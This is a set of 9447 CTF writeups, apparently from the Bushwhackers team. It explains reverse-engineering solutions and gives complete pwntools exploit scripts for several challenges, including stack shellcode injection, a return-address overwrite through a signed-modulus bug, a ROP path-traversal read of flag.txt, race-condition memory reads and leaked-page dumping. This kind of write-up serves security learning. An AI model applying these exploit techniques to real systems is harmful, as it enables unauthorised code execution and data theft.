$ ./flagfinder-bbc6305273a39e9ccd751c24df86ac61 123
Try again
9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_H4LT1N6_prObL3M_n1c3_} 1000024
-
-
Save xyzz/9a5511ffa1ade17e7359 to your computer and use it in GitHub Desktop.
Bushwhackers Exploit/RE 9447 CTF writeups |
Looking at the binary, it seems to do some calculations, and then compares some data with the first argument. Let's set a breakpoint to the final comparison and look at the registers.
(gdb) b *0x400729
Breakpoint 1 at 0x400729
(gdb) r
Starting program: /media/psf/virtualbox-shared/9447/flagFinderRedux/flagFinderRedux-e72e7ac9b16b8f40acd337069f94d524 123
Breakpoint 1, 0x0000000000400729 in ?? ()
(gdb) x/s $rsi
0x7fffffffe359: "123"
(gdb) x/s $rdi
0x7fffffffde10: "9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_re4l__H4LT1N6_prObL3M}"
(gdb)
After a quick google search I've found the interpreter for the dank language: https://github.com/jfeng41/greentext
Translating the program to Python we get the "maximum recursion depth exceeded" exception. Let's look at the function and figure out what they do.
This function recursively checks if a given number is prime. I rewrote it to loop until N ** 0.5.
This one calculates a function f(n, k) = f(n - 1, k - 1) + f(n - 1, k)
. This function is the number of combinations or binomial coefficient. Since K is always 5, I rewrote it as:
return n * (n - 1) * (n - 2) * (n - 3) * (n - 4) / (1 * 2 * 3 * 4 * 5)
Calculates Fibonacci numbers. To make it faster I precalculate them and then the actual function does a list lookup:
fib = [1, 1, 1]
for x in xrange(13379447):
fib.append((fib[-1] + fib[-2]) % 987654321)
def brotherman(memes):
if memes < 3:
return 1
return fib[memes]
After all these changes it still exceeds recursion limit in epicfail
. To solve this I cache its return value and then precalculate the values starting from 1.
pre_epicfail = dict()
def epicfail(memes):
if memes in pre_epicfail:
return pre_epicfail[memes]
wow = 0
dank = True
if memes > 1:
dank = fail(memes, 2)
if dank:
wow = bill(memes - 1) + 1
else:
wow = such(memes - 1)
pre_epicfail[memes] = wow
return wow
# ...
for x in range(13379447):
if x % 10000 == 0:
print x
epicfail(x)
# checks if memes is prime
def fail(memes, calcium):
for x in range(2, int(memes ** 0.5) + 1):
if memes % x == 0:
return False
return True
pre_epicfail = dict()
def epicfail(memes):
# print "epicfail", memes
if memes in pre_epicfail:
return pre_epicfail[memes]
wow = 0
dank = True
if memes > 1:
dank = fail(memes, 2)
if dank:
wow = bill(memes - 1) + 1
else:
wow = such(memes - 1)
pre_epicfail[memes] = wow
return wow
# C(n, k) where N = memes, K = seals
def dootdoot(memes, seals):
if seals != 5:
print "Error!"
n = memes
return n * (n - 1) * (n - 2) * (n - 3) * (n - 4) / (1 * 2 * 3 * 4 * 5)
def such(memes):
wow = dootdoot(memes, 5)
if wow % 7 == 0:
wew = bill(memes - 1)
wow += 1
else:
wew = epicfail(memes - 1)
wow += wew
return wow
print "precalc fib"
fib = [1, 1, 1]
for x in xrange(13379447):
fib.append((fib[-1] + fib[-2]) % 987654321)
print "precalc fib done"
# fibonacci numbers
def brotherman(memes):
if memes < 3:
return 1
return fib[memes]
def bill(memes):
wow = brotherman(memes)
if wow % 3 == 0:
wew = such(memes - 1)
wow += 1
else:
wew = epicfail(memes - 1)
wow += wew
return wow
def me():
memes = 13379447
print epicfail(memes)
for x in range(13379447):
if x % 10000 == 0:
print x
epicfail(x)
# print brotherman(5)
me()
It was still a bit too slow, so I ran it in PyPy. Flag: 9447{2992959519895850201020616334426464120987}
.
We get the binary that first mmaps some RWX memory, then copies 6 functions to it. Then it randomly calls these functions with our flag input from argv[1] and checks return value.
Let's try to pass all six checks.
This one is simple, it checks that the flag starts with 9447{
, ends with }
and has [0-9a-f]+
between.
On amd64 the first argument is passed in rdi
. Each function will process the given string by doing a lot of
movzx rax, byte ptr [rdi]
inc rdi
and sometimes it will also check the rax
value like this:
movzx rax, byte ptr [rdi]
inc rdi
cmp al, 35h
jz loc_6026B0
cmp al, 64h
jz loc_6026B0
cmp al, 65h
jz loc_6026B0
xor eax, eax
retn
The functions also have random delays inserted like this:
loc_602685:
rdtsc
test eax, 0FFFFFh
jnz short loc_602685
I decided to save the disassembly of each check to checkX.txt
and then write a simple "interpreter" in Python that would follow JMP
, JNZ
and compute the set of allowed characters for every string position.
Turns out, for every position we only have 1 allowed character which means there's only one possible flag.
Flag: 9447{94ea5e32f2b5b37d947eea3a38932ae1}
import sys
allowed = [set(range(256)) for x in range(100)]
for filename in ['check2.txt', 'check3.txt', 'check4.txt', 'check5.txt', 'check6.txt']:
fin = open(filename, "r")
lines = fin.read().split("\n")
fin.close()
curchar = 0
last_allowed = set()
need_jmp = False
cur = 0
last_jz = "xxxx"
while True:
cur += 1
line = lines[cur]
prev = lines[cur - 1]
print line
if "mov\teax, 1" in line:
break
if "xor\teax, eax" in line:
for x in range(len(lines)):
if (last_jz + ":") in lines[x]:
cur = x
break
continue
if "inc\trdi" in line:
if last_allowed:
allowed[curchar] &= last_allowed
if prev != "\t\tmovzx\trax, byte ptr [rdi]":
print "err..."
sys.exit(1)
curchar += 1
last_allowed = set()
if "cmp\tal," in line:
val = line.split()[-1]
if val.endswith("h"):
val = val[:-1]
val = int(val, 16)
last_allowed.add(val)
if "jmp\t" in line:
jmp_dest = line.split()[-1]
for x in range(len(lines)):
if (jmp_dest + ":") in lines[x]:
cur = x
break
if "jz\t" in line:
last_jz = line.split()[-1]
s = ""
for x in range(len(allowed)):
if len(allowed[x]) < 10:
print x, allowed[x]
s += chr(list(allowed[x])[0])
else:
pass
print s, len(s)
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 2 calcpop
We get a calculator that can sum two numbers. There are two bugs here:
If there's only one number given the program will output an error:
printf("Missing a space; your input was %p\n", &buf);
However instead of %s
it mistakenly uses %p
so we get the address of buf
.
Our input is limited to 0x100 bytes however the buffer is only about ~0x9C bytes large. Since stack is executable and it's possible to leak the buffer address, I put shellcode to the buffer and then overwrote saved return address on the stack with the address of the buffer.
To get out of the calculator loop and trigger the return we need the sum to be 201527
. I chose to input one more string: 201527 0
. This overwrote part of shellcode so I changed the buffer layout to 0x10 bytes of padding, then shellcode, then more padding, then new return address.
Flag: 9447{shELl_i5_easIEr_thaN_ca1c}
.
from pwn import *
p = remote("calcpop-4gh07blg.9447.plumbing", 9447)
p.recvuntil("Welcome to")
p.recvline()
p.sendline("1")
data = p.recvline()
leak = int(data.split()[-1], 16)
print "Leaked addr 0x{:x}".format(leak)
s = "c" * 0x10
s += asm(shellcraft.sh())
s += "a" * (156 - len(s))
p.sendline(s + p32(leak + 0x10))
p.sendline("201527 0")
p.interactive()
After taking a look at the source code I figured that we can't win by following the rules so let's exploit the binary instead.
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 2 4 cards
The bug's in the shuffle
function, let's look at it:
void shuffle(long long *deck, int size) {
int i;
for (i = 0; i < size; i++) {
long long val = deck[i];
if (val < 0ll) {
val = -val;
}
long long temp = deck[val % size];
deck[val % size] = deck[(i + 1) % size];
deck[(i + 1) % size] = temp;
}
}
We know that in C the modulus operator can return a negative value when the first operand is negative. The shuffle
function also knows that, however there's a bug in the if: if (val < 0ll) val = -val;
. If val
is LLONG_MIN
(or -9223372036854775808, or 0x8000000000000000), -val
will equal val
and still be negative.
After taking the modulus we can end up with one of the following values, depending on the deck size:
1: 0
2: 0
3: -2
4: 0
5: -3
6: -2
7: -1
8: 0
9: -8
10: -8
11: -8
12: -8
13: -8
14: -8
15: -8
16: 0
17: -9
18: -8
19: -18
20: -8
21: -8
22: -8
23: -3
24: -8
25: -8
26: -8
27: -26
28: -8
29: -12
30: -8
31: -8
32: 0
33: -8
34: -26
35: -8
36: -8
37: -6
38: -18
39: -8
40: -8
41: -8
42: -8
43: -42
44: -8
45: -8
46: -26
47: -36
48: -32
49: -1
50: -8
51: -26
52: -8
So we can underflow the deck
buffer. It's on the stack frame of the previous function, handleRequests
, and turns out that the shuffle
return address lies at &deck[-1]
. We can use deck size 49 to overwrite this value.
However, the binary is PIE, so we first need to leak its address. By using deck size 5 I get the value of deck[-3]
"shuffled" into my deck, which is exactly what we needed -- some return address into our executable.
The final plan is:
- Start the game with deck size 5, put one
-9223372036854775808
into the deck, set all other cards to1
. - Once the game begins, our deck will have a leaked address shuffled into it.
- Play the game and lose it, but now we know the executable base.
- Start another game with deck size 49, put one
-9223372036854775808
into it, set all other cards to the desired return address (printFlag
function). - Once
shuffle
returns, we get the flag.
Flag: 9447{ThE_Only_w1nn1Ng_M0ve_1S_t0_stEAl_The_flAg}
from pwn import *
context.arch = "amd64"
p = remote("cards-6xvx9tsi.9447.plumbing", 9447)
big = "-9223372036854775808 "
L = 5
for x in range(L):
if x == 0:
p.send(big)
else:
p.send("1 ")
p.sendline("0")
p.recvuntil("left:\n")
data = p.recvuntil("\n")
leak = int(data.split()[2])
base = leak - 0x8ea
print "Leaked addr: 0x{:x} base 0x{:x}".format(leak, base)
for x in range(L):
p.sendline(str(x))
L = 49
for x in range(L):
if x == 0:
p.send(big)
else:
p.send(str(base + 0xd90) + " ")
p.sendline("0")
p.interactive()
This time it's a web server. It runs in infinite loop and processes requests from stdin
(It can even process multiple requests from the same session).
The most interesting function is at 0x400D00
: int process_path(char *in, int inlen, char *out, int outlen)
. Taking a path from a GET or HEAD request it tries to "normalize" it by removing all ./
and processing ../
.
For example, it would convert /abc./defg
to /abcdefg
and /path/../file
to /file
.
The path is then appended to files
and if the final location is a directory we get its listing, otherwise the webserver sends us the file.
There are some bugs in the process_path
function, for example, if we request GET /.. HTTP/1.1
it will list the parent directory. It has some file named flag.txt
which is probably our target.
However, if we try to request GET /../flag.txt HTTP/1.1
the server will crash. And GET //../flag.txt HTTP/1.1
will strip out one /
, end up with /flag.txt
and return a 404 error.
Perhaps we could exploit some memory corruption bug?
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 3 4 bws-0a1effb16b7c9123fc28a768317b9956
Let's look at how process_path
handles ..
. First, this function copies bytes from in
to out
. But once it finds that out
ends with ../
(e.g. AB../
) there's a loop that searches for a /
(starting at A
) and sets the out
pointer to the previous /
.
What happens if the path is /../
? We get buffer underflow, since the search will start right before the buffer, and so the server will crash.
However, remember that it's possible to send multiple requests to the server. And the out
buffer in process_path
is allocated on the stack frame of the calling function. Maybe we could set up the stack somehow so that it contains a /
somwhere before out
?
If we first request a file that doesn't exist, a function at 0x400E20
will get called. It writes Could not find $PATH
to a stack buffer which is exactly what's needed since we can make $PATH have some slashes in it.
Then we can make the next requests's path /../PAYLOAD
. At the time of underflow the stack will look like that:
low addresses: 0x000...
...
Could not find /aaaaaaaaaa[...]aaaaaaaaa/ # path from the first request
[a bit of crap]
[parse_path's return address] <= parse_path's stack frame
[out buffer] \
... | <= do_process_request's stack frame
... /
[full http request]
...
high addresses: 0xFFF...
So it's clear now that we can overwrite parse_path's return address after the underflow. However it's not possible to write a full ropchain just with the file name since it can't contain zero bytes.
Unlike the file name, the full HTTP body can contain any bytes. It's also located below parse_path's return address. So the plan is to overwrite return address with a gadget that would "eat" some stack by doing add rsp, XX ; ret
.
Thankfully, the binary has a suitable gadget:
add rsp, 1A8h
retn
and that's exactly what we need for stack to end up in the middle of our HTTP body. Now with the possibility to have zero bytes we can happily rop away!
But let's instead look at do_process_request
(0x4010F0). This is the function that calls process_path
. And when the path is processed, at the end, it reads the file into a global buffer and then sends the contents to the user. If we put 0x40115E as our "gadget" the following code will be executed:
.text:000000000040115E mov edx, 10000h ; a3
.text:0000000000401163 mov esi, offset g_file_buf ; a2
.text:0000000000401168 mov rdi, rsp ; a1
.text:000000000040116B call readfile
.text:0000000000401170 test eax, eax
.text:0000000000401172 js short loc_4011C0
.text:0000000000401174 xor esi, esi
.text:0000000000401176 mov edx, offset g_file_buf
.text:000000000040117B test ebp, ebp
.text:000000000040117D cmovz rsi, rdx ; a2
.text:0000000000401181 mov edi, offset a200Ok ; "200 OK"
.text:0000000000401186 mov edx, eax ; a3
.text:0000000000401188 call write_response
so the path to the file the function's going to read is just rsp
, which is great, since we can just append it after the code pointer (p64(0x40115E) + "/../flag.txt\x00"
)
Flag: 9447{1_h0pe_you_L1ked_our_w3b_p4ge}
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
p = remote("bws-ad8sfsklw.9447.plumbing", 80)
p.send("GET /{}// HTTP/1.1\r\n\r\n".format("a" * 253))
payload = p64(0x40115E) + "/../flag.txt\x00"
p.send("GET /../{} HTTP/1.1\r\n{}{}\r\n\r\n".format("c" * 20 + p32(0x400f39)[:-1], "E" * 78, payload))
p.interactive()
The file we get is a flat binary that contains some x86 code, and strings. By reading through it a bit it becomes evident the file should be loaded at 0x00100000
base.
The function at 0x001008BC
is very similar to the main
of the calcpop
task. However, it's written for a custom OS; thankfully, every system call has short "docstring" that looks like "read(%d %x %d)\n"
(seems like it does a printf() when configured correctly?).
Reversing the main()
function, I've noticed it has the same two bugs as in the calcpop
challenge, but the stack is set up differently, the epilogue looks like this:
seg000:001009CF lea esp, [ebp-10h]
seg000:001009D2 xor eax, eax
seg000:001009D4 pop ecx
seg000:001009D5 pop ebx
seg000:001009D6 pop esi
seg000:001009D7 pop edi
seg000:001009D8 pop ebp
seg000:001009D9 lea esp, [ecx-4]
seg000:001009DC retn
so instead of simply overwriting return address we first need to overwrite saved esp
and point it at the desired return address.
Now all I've needed is to get a proper shellcode. Since I didn't realize it's possible to spawn a /bin/sh
, and the "os task package" wasn't published yet I first had to use getdirent
to list contents of /ctf
. Then once the path is known (/ctf/level1.flag
) it was trivial to open() it, read() and then write() to stdout.
Flag: 9447{th1s_O5_is_a_gl0rifi3d_c4lculat0r}
from pwn import *
from hashlib import sha1
import subprocess
import sys
shellcode = asm("""
xor eax, eax
{}
mov ebp, esp
push ebp
mov eax, {}
xor eax, 0x42424242
call eax # sys_open
push 0x30
push ebp
push eax
mov eax, {}
xor eax, 0x42424242
call eax
push 0x12
mov esi, {}
xor esi, 0x42424242
call esi # ctf_drm
mov [ebp+0x30], eax
push 0x7F
push ebp
xor eax, eax
push eax
mov eax, {}
xor eax, 0x42424242
call eax # sys_write
""".format(shellcraft.i386.pushstr('/ctf/level1.flag'), 0x00100174 ^ 0x42424242, 0x00100085 ^ 0x42424242, 0x00100225 ^ 0x42424242, 0x001000B8 ^ 0x42424242))
if "\x00" in shellcode or " " in shellcode:
print "error, has zeroes or spaces"
print hexdump(shellcode)
sys.exit(1)
# context.log_level = "debug"
host = "os-uedhyevi.9447.plumbing"
p = remote(host, 9447)
data = p.recvline()
start = data[36:48]
print start
s = subprocess.check_output(["./sha1ebalka", start])[:-1] # This bruteforces the proof-of-work
print s
p.sendline(s)
data = p.recvline()
port = int(data.split()[-1])
p.close()
p = remote(host, port)
p.recvuntil("Welcome to")
p.recvline()
p.sendline("1")
data = p.recvline()
leak = int(data.split()[-1], 16)
print "Leaked addr 0x{:x}".format(leak)
payload = "a" * 0x10 + p32(leak + 0x14) + shellcode
payload += "b" * (0x88 - len(payload))
payload += p32(leak + 0x14)
p.sendline(payload)
p.sendline("0 201527")
data = p.recv()
data = p.recv()
s = "d1e l1k3 the rest\n"
data = data[data.find(s)+len(s):]
print hexdump(data)
print data
(this is a continuation of the calpop-reloaded task, so the first step is to pwn the calculator and get user-mode code exec)
We get two files now, level2.client
and level2.server
. The server starts by executing sys_ctf_drm(0x200C84, 2);
which writes the flag to its memory starting at 0x200C84
, and then listens to "commands".
Client and server communicate via a shared memory page mapped at 0xB0001000
, we need to call sys_shmap(0xB0001000)
first and then we can read and write to it and the changes will be visible in both processes.
The "protocol" is very simple: client puts command it wants to execute to 0xB0001000
and the arguments to 0xB0001008-0xB0001014
, then writes 1
to 0xB0001004
and loops (calling sys_yield
) until 0xB0001004
becomes 0
again.
The server "waits" on 0xB0001004
by looping around calling sys_yield
and waiting for it to become 1
, then performs the specified command, then writes results somewhere to shared memory (depending on the command), then writes 0
to 0xB0001004
.
The server implements a simple key-value storage with 8 byte keys and 8 byte values and the following commands:
- set
- get
- del
- nth
The bug's in the nth
function (see level2.server, 0x00100849). It's supposed to return the Nth key/value largest element (or something like this anyway). The only argument to it is located at 0xB0001008
and the following check is made at the beginning:
if ( unk_B0001008 > 199u )
{
unk_B0001008 = 0;
unk_B000100C = 0;
unk_B0001010 = 0;
unk_B0001014 = 0;
}
This is because the server can only store 200 key/value pairs max.
After the sorting's done at the end of the function the key and value are written to the shared memory area:
v5 = *((_DWORD *)&unk_00200010 + 4 * unk_B0001008);
unk_B0001010 = *((_DWORD *)&unk_0020000C + 4 * unk_B0001008);
unk_B0001014 = v5;
v6 = *((_DWORD *)&unk_00200008 + 4 * unk_B0001008);
unk_B0001008 = *((_DWORD *)&unk_00200004 + 4 * unk_B0001008);
unk_B000100C = v6;
so it again reads the requested Nth index from unk_B0001008, however what if it's changed? This is a classical race condition and we can exploit it as follows:
- Request the server to execute Nth function and set
0xB0001008
to a small value - After some time passes change
0xB0001008
to a big value - Get arbitrary read from the server memory!
The only two problems left are where to read from and how to time the race.
We can read the flag in parts by setting 0xB0001008
to 200, 201, 202. This is because it's located at 0x200C84 which is right after the server's key/value storage.
To time the race I used sys_yield
, changing 0xB0001008
after yield's called two times.
I also rewrote the exploit a bit to use a two-stage payload: the first stage would read() the second stage payload from stdin and then jump to it. The reason is that the first stage can't contain any bad characters (e.g. NULLs, or maybe whitespace), while the second stage is free to contain anything.
Flag: 9447{i_hope_no_one_writes_code_like_this}
It only dumps a part of the flag at a time, you will have to modify it a bit and run a few times. Also it skips some 4 byte regions in the flag but these are easy to guess.
from pwn import *
from hashlib import sha1
import subprocess
import sys
# loader
shellcode = asm("""
mov ebp, {}
xor ebp, 0x42424242
xor eax, eax
add eax, 1 # sys_read
xor ebx, ebx
mov ecx, ebp
mov edx, {}
xor edx, 0x42424242
int 0xFF
jmp ebp
""".format(0x00100000 ^ 0x42424242, 0x400 ^ 0x42424242))
if "\x00" in shellcode or " " in shellcode:
print "error, has zeroes or spaces"
print hexdump(shellcode)
sys.exit(1)
host = "os-uedhyevi.9447.plumbing"
real = True
if real:
p = remote(host, 9447)
data = p.recvline()
start = data[36:48]
print start
s = subprocess.check_output(["./sha1ebalka", start])[:-1]
print s
p.sendline(s)
data = p.recvline()
port = int(data.split()[-1])
p.close()
p = remote(host, port)
else:
p = remote("localhost", 9447)
p.recvuntil("Welcome to")
p.recvline()
p.sendline("1")
data = p.recvline()
leak = int(data.split()[-1], 16)
print "Leaked addr 0x{:x}".format(leak)
payload = "a" * 0x10 + p32(leak + 0x14) + shellcode
payload += "b" * (0x88 - len(payload))
payload += p32(leak + 0x14)
p.sendline(payload)
p.sendline("0 201527")
data = p.recv()
# real shellcode
stage2 = asm("""
mov ebp, 0x200000
mov edi, 0xB0001000
mov eax, 20 # sys_shmap
mov ebx, edi
int 0xFF
mov dword ptr [edi], 4 # cmd nth
mov dword ptr [edi+8], 0
mov dword ptr [edi+4], 1 # cmd arrived
xor esi, esi
start:
inc esi
mov ebp, 0x0
cmp esi, 1
jle nope
mov ebp, 202
nope:
mov dword ptr [edi+8], ebp # race condition
mov ecx, [edi+4]
test ecx, ecx
jz out
mov eax, 5
int 0xFF
jmp start
out:
mov [edi], esi
mov eax, 2 # sys_write
xor ebx, ebx
mov ecx, edi
mov edx, 0x20
int 0xFF
mov eax, 0xB # sys_shutdown
int 0xFF
""")
p.sendline(stage2)
p.recv()
data = p.recvall()
print hexdump(data)
(this is a continuation of the calpop-reloaded task, so the first step is to pwn the calculator and get user-mode code exec)
Hint! It would be a shame if the flag wasn't actually cleared from memory, wouldn't it?
Hint! Can you see any way that a usermode program can ask for more memory?
Hint: the topbar information, about pages free/allocated/somerandomcounter may be useful.
Once we connect to the calculator the server actually spawns 3 tasks: /ctf/level3 --silent
, /ctf/level2.server --silent
, /ctf/level
.
We need to get the level3
flag now.
Looking at the binary, it doesn't do anything useful, just a usual sys_ctf_drm(&flag, 3)
, then exits.
First I tried spawning /ctf/level3
from my process, however, this didn't work since after the first call of sys_ctf_drm
the kernel wipes out the key. What we get instead is some crap like 9447{WRONG http://imgur.com/QDwqFG1}
The hints made the task kinda obvious :( but anyway. Looks like the bug's that the kernel doesn't zero out the mapped pages. So once /ctf/level3
exits, its pages are marked as free. Now we need to reuse a free'd page in our process and read the flag out of it.
But how can a user space program ask for more memory? There aren't that many syscalls implemented in the kernel, and after checking all of them the only option seems to be sys_shmap
. Remember, that it's used to create a shared memory mapping, however, if an address wasn't shmap'ped from another process it will start by allocating us a page.
Now all we need to do is shmap()
a lot of memory and dump it to stdout, then search for the flag. There's one restriction on what addresses can be mapped:
if ( addr - 0xB0000000 > 0x3FFFFF )
goto early_exit;
so we can shmap() addresses from 0xB0000000 to 0xB0000000+0x3FFFFF (and they must be 0x1000 aligned, of course).
And this is basically everything the exploit does: call a lot of shmap() to eat all free pages, then call write() to dump the contents to stdout.
Flag: 9447{n0_on3_exp3ct5_the_m3m0ry_l34k5}
from pwn import *
from hashlib import sha1
import subprocess
import sys
# context.log_level = "debug"
# loader
shellcode = asm("""
mov ebp, {}
xor ebp, 0x42424242
xor eax, eax
add eax, 1 # sys_read
xor ebx, ebx
mov ecx, ebp
mov edx, {}
xor edx, 0x42424242
int 0xFF
jmp ebp
""".format(0x00100000 ^ 0x42424242, 0x400 ^ 0x42424242))
if "\x00" in shellcode or " " in shellcode:
print "error, has zeroes or spaces"
print hexdump(shellcode)
sys.exit(1)
host = "os-uedhyevi.9447.plumbing"
real = True
if real:
p = remote(host, 9447)
data = p.recvline()
start = data[36:48]
print start
s = subprocess.check_output(["./sha1ebalka", start])[:-1]
print s
p.sendline(s)
data = p.recvline()
port = int(data.split()[-1])
p.close()
p = remote(host, port)
else:
p = remote("localhost", 9447)
p.recvuntil("Welcome to")
p.recvline()
p.sendline("1")
data = p.recvline()
leak = int(data.split()[-1], 16)
print "Leaked addr 0x{:x}".format(leak)
payload = "a" * 0x10 + p32(leak + 0x14) + shellcode
# while len(payload) % 4 != 0:
# payload += "B"
payload += "b" * (0x88 - len(payload))
payload += p32(leak + 0x14)
p.sendline(payload)
p.sendline("0 201527")
data = p.recv()
# real shellcode
stage2 = asm("""
mov edi, 0xB0000000
reloop2:
mov eax, 20 # sys_shmap
mov ebx, edi
int 0xFF
add edi, 0x1000
cmp edi, 0xB02C4000
jne reloop2
mov [esp], eax
mov edi, 0xB0000000
reloop:
mov eax, 2 # sys_write
xor ebx, ebx
mov ecx, edi
mov edx, 0x100
int 0xFF
add edi, 0x100
cmp edi, 0xC0000000
jne reloop
inf:
jmp inf
""")
p.sendline(stage2)
p.recv()
data = p.recvall()
fout = open("output.bin", "wb")
fout.write(data)
fout.close()
print "Original len: 0x{:x}".format(len(data))